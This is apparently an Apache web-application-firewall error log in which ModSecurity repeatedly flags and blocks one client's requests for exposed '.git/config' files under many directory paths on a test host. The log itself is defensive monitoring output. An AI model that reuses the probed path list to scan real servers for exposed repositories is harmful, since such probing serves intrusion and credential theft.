[Wed Sep 04 15:26:28.859887 2024] [:error] [pid 1669687] [client 45.135.232.70:53414] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDwAAAAc&quot;]
[Wed Sep 04 15:26:28.860197 2024] [:error] [pid 1669687] [client 45.135.232.70:53414] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDwAAAAc&quot;]
[Wed Sep 04 15:26:28.876228 2024] [:error] [pid 1668040] [client 45.135.232.70:53392] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repos/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMgAAAAM&quot;]
[Wed Sep 04 15:26:28.876804 2024] [:error] [pid 1668040] [client 45.135.232.70:53392] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMgAAAAM&quot;]
[Wed Sep 04 15:26:28.877410 2024] [:error] [pid 1668040] [client 45.135.232.70:53392] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMgAAAAM&quot;]
[Wed Sep 04 15:26:28.883368 2024] [:error] [pid 1668039] [client 45.135.232.70:53460] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /application/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZgAAAAI&quot;]
[Wed Sep 04 15:26:28.883966 2024] [:error] [pid 1668039] [client 45.135.232.70:53460] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZgAAAAI&quot;]
[Wed Sep 04 15:26:28.884464 2024] [:error] [pid 1668039] [client 45.135.232.70:53460] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZgAAAAI&quot;]
[Wed Sep 04 15:26:28.890205 2024] [:error] [pid 1669081] [client 45.135.232.70:53424] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-JQAAAAY&quot;]
[Wed Sep 04 15:26:28.890599 2024] [:error] [pid 1669081] [client 45.135.232.70:53424] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-JQAAAAY&quot;]
[Wed Sep 04 15:26:28.890917 2024] [:error] [pid 1669081] [client 45.135.232.70:53424] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-JQAAAAY&quot;]
[Wed Sep 04 15:26:28.897648 2024] [:error] [pid 1668038] [client 45.135.232.70:53440] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCruwAAAAE&quot;]
[Wed Sep 04 15:26:28.898059 2024] [:error] [pid 1668038] [client 45.135.232.70:53440] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCruwAAAAE&quot;]
[Wed Sep 04 15:26:28.898401 2024] [:error] [pid 1668038] [client 45.135.232.70:53440] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCruwAAAAE&quot;]
[Wed Sep 04 15:26:28.945622 2024] [:error] [pid 1668042] [client 45.135.232.70:53484] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /amphtml/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzzgAAAAU&quot;]
[Wed Sep 04 15:26:28.946392 2024] [:error] [pid 1668042] [client 45.135.232.70:53484] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzzgAAAAU&quot;]
[Wed Sep 04 15:26:28.946860 2024] [:error] [pid 1668042] [client 45.135.232.70:53484] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzzgAAAAU&quot;]
[Wed Sep 04 15:26:28.961284 2024] [:error] [pid 1668041] [client 45.135.232.70:53444] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /alpha/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSwAAAAQ&quot;]
[Wed Sep 04 15:26:28.961999 2024] [:error] [pid 1668041] [client 45.135.232.70:53444] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSwAAAAQ&quot;]
[Wed Sep 04 15:26:28.962482 2024] [:error] [pid 1668041] [client 45.135.232.70:53444] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSwAAAAQ&quot;]
[Wed Sep 04 15:26:28.964428 2024] [:error] [pid 1668037] [client 45.135.232.70:53472] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypwAAAAA&quot;]
[Wed Sep 04 15:26:28.964988 2024] [:error] [pid 1668037] [client 45.135.232.70:53472] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypwAAAAA&quot;]
[Wed Sep 04 15:26:28.965251 2024] [:error] [pid 1669687] [client 45.135.232.70:53496] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVREAAAAAc&quot;]
[Wed Sep 04 15:26:28.965388 2024] [:error] [pid 1668037] [client 45.135.232.70:53472] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypwAAAAA&quot;]
[Wed Sep 04 15:26:28.965542 2024] [:error] [pid 1669687] [client 45.135.232.70:53496] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVREAAAAAc&quot;]
[Wed Sep 04 15:26:28.965762 2024] [:error] [pid 1669687] [client 45.135.232.70:53496] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVREAAAAAc&quot;]
[Wed Sep 04 15:26:28.979016 2024] [:error] [pid 1668039] [client 45.135.232.70:53518] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZwAAAAI&quot;]
[Wed Sep 04 15:26:28.979502 2024] [:error] [pid 1668039] [client 45.135.232.70:53518] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZwAAAAI&quot;]
[Wed Sep 04 15:26:28.979902 2024] [:error] [pid 1668039] [client 45.135.232.70:53518] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZwAAAAI&quot;]
[Wed Sep 04 15:26:28.991352 2024] [:error] [pid 1668040] [client 45.135.232.70:53504] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMwAAAAM&quot;]
[Wed Sep 04 15:26:28.991668 2024] [:error] [pid 1668040] [client 45.135.232.70:53504] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMwAAAAM&quot;]
[Wed Sep 04 15:26:28.991900 2024] [:error] [pid 1668040] [client 45.135.232.70:53504] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMwAAAAM&quot;]
[Wed Sep 04 15:26:29.004547 2024] [:error] [pid 1669081] [client 45.135.232.70:53532] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-JgAAAAY&quot;]
